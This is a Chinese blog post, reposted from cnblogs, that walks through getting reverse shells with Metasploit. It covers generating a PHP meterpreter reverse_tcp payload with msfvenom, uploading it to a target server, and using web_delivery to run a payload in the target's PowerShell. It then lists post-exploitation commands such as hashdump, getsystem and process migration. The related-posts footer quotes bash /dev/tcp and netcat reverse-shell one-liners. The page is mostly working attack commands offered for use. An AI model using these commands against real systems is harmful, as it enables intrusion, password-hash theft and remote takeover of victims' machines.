msf反弹shell

今天回顾了一下msf反弹shell的操作，在这里做一下记录和分享。(￣︶￣)↗

反弹shell的两种方法

第一种Msfvenom实例：

1、msfconsole　　　　#启动msf

2、msfvenom -p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php　　　　#生成反弹shell文件

LHOST表示本地攻击机的ip， LPORT表示本地攻击机的端口。

其他msf下的各种生成payload命令可参考：https://www.cnblogs.com/backlion/p/6000544.html

这样我们就成功生成了一个shell.php文件。

3、接下来我们需要在本机中监听4444端口。

这就表示开始本机开始监听4444端口了。

4、现在把shell.php文件通过菜刀上传至目标服务器中，然后本地游览器访问shell.php

即可以看见成功返回了一个session

sessions -i 　　　　#查看当前可用会话

第二种web_delivery实例流程：

1、msfconsole　　　　#启动msf

2、show options　　　　#目的是看exploit target为什么脚本

这里默认为pyhton，需要更改为php

show payloads　　　　#挑选payload，选择php/meterpreter/reverse_tcp

然后设置lhost

得到一段脚本，将这段脚本在目标机的powershell中执行即可反弹shell。

下面贴一些常用的命令：

基础命令：

seach cve-2017-7494 　　　　　　　　#查看是否存在指定漏洞

use exploit/multi/handler 　　　　　　　　#使用exploit/multi/handler模块

info 　　　　　　　　 #查看信息

show options　　　　　　　　　　　　　　　　　 #查看exp的参数 rhost 是远程主机地址 lhost是本地主机地址

back 　　　　　　　　#返回上一级

session -i 　　　　　　　　#查看当前可用会话

sessions -i x 　　　　　　　　#切换至会话x

session -k 　　　　　　　　#杀死所有活跃会话

background 　　　　　　　　#将会话放到后台

route　　　　　　　　　　　　　　　　　　　　　#查看被控主机路由表

sysinfo 　　　　　　　　　　　　　　　　　　　#查看系统信息

run post/windows/gather/checkvm 　　　　　　　　#检查是否在虚拟机上运行

idletime　　　　　　　　　　　　　　　　　　　　#查看运行时间

getuid 　　　　　　　　　　　#获得运行Meterpreter会话的用户名，从而查看当前会话具有的权限

getsystem 　　　　　　　　　　 #通过各种攻击向量来提升到系统用户权限

getwd pwd 　　　　　　　　　　 #shell处于靶机的目录

getlwd 　　　　　　　　　　 #本地的目录位置

hashdump 　　　　　　　　　　 #导出目标主机中的口令哈希值

screenshot 　　　　　　　　　　 #对目标主机的屏幕进行截图

backgroud 　　　　　　　　　　 #将当前Meterpreter shell转为后台执行

quit 　　　　　　　　　　 #关闭当前Meterpreter会话，返回MSF终端

ps 　　　　　　　　　 #显示所有运行进程以及管联的用户账户

migrate PID 　　　　　　　　　　#迁移到一个指定的进程PID

post/windows/manage/migrate #会自动寻找合适的进程进行迁移

execute -f cmd.exe -i 　　　　　　　　　　#执行cmd.exe命令并进行交互

shell 　　　　　　　　　 #以所有可用令牌来运行一个交互的shell

转载于:https://www.cnblogs.com/HKCZ/p/10870029.html

msf反弹shell相关推荐

msf反弹shell成功，却无法建立会话处理办法
报错:Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0 ...
内网渗透-常用反弹shell方法总结
常用反弹shell方法总结文章目录常用反弹shell方法总结前言 bash反弹shell nc反弹shell 1.nc弹linux的shell: nc -e /bin/bash 1.1.1.1 ...
python反弹shell_反弹shell的各种姿势
在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入. 反弹shell是打开内网通道的第一步,也是权限提升过程中至关重要的一步.所有姿势 ...
msf监听php反弹shell,使用msf进行反弹shell+内网渗透
首先说明一点,反弹shell的前提是该主机可以执行咱们的恶意命令反弹shell的原理与灰鸽子的原理是类似的,就是在靶机上执行一个咱们msf精心构造的客户端,使靶机主动回连咱们攻击机的某个端口.下面开 ...
msf生成php反弹,反弹shell总结
1.bash反弹bash -i >& /dev/tcp/ip_address/port 0>&1 2.nc反弹nc -e /bin/sh 192.168.2.130 444 ...
msf反弹php shell,反弹shell总结
1.bash反弹bash -i >& /dev/tcp/ip_address/port 0>&1 2.nc反弹nc -e /bin/sh 192.168.2.130 444 ...
一句话反弹shell
1.bash反弹攻击机监听端口 netcat: nc -nvlp 4444 -n: 不反向解析dns,即不通过ip解析域名 no dns -v: 详细信息输出 verbose -l: 监听 ...
【技术分享】linux各种一句话反弹shell总结——攻击者指定服务端，受害者主机（无公网IP）主动连接攻击者的服务端程序（CC server），开启一个shell交互，就叫反弹shell。...
反弹shell背景: 想要搞清楚这个问题,首先要搞清楚什么是反弹,为什么要反弹. 假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常 ...
[网络安全自学篇] 五十三.Windows系统安全之Metasploit实现栈溢出攻击及反弹shell原理解析
这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了虚拟机基础知识,包括XP操作系统安装.文件共享设置.网络快照及网络设置 ...

msf反弹shell

msf反弹shell相关推荐

最新文章

热门文章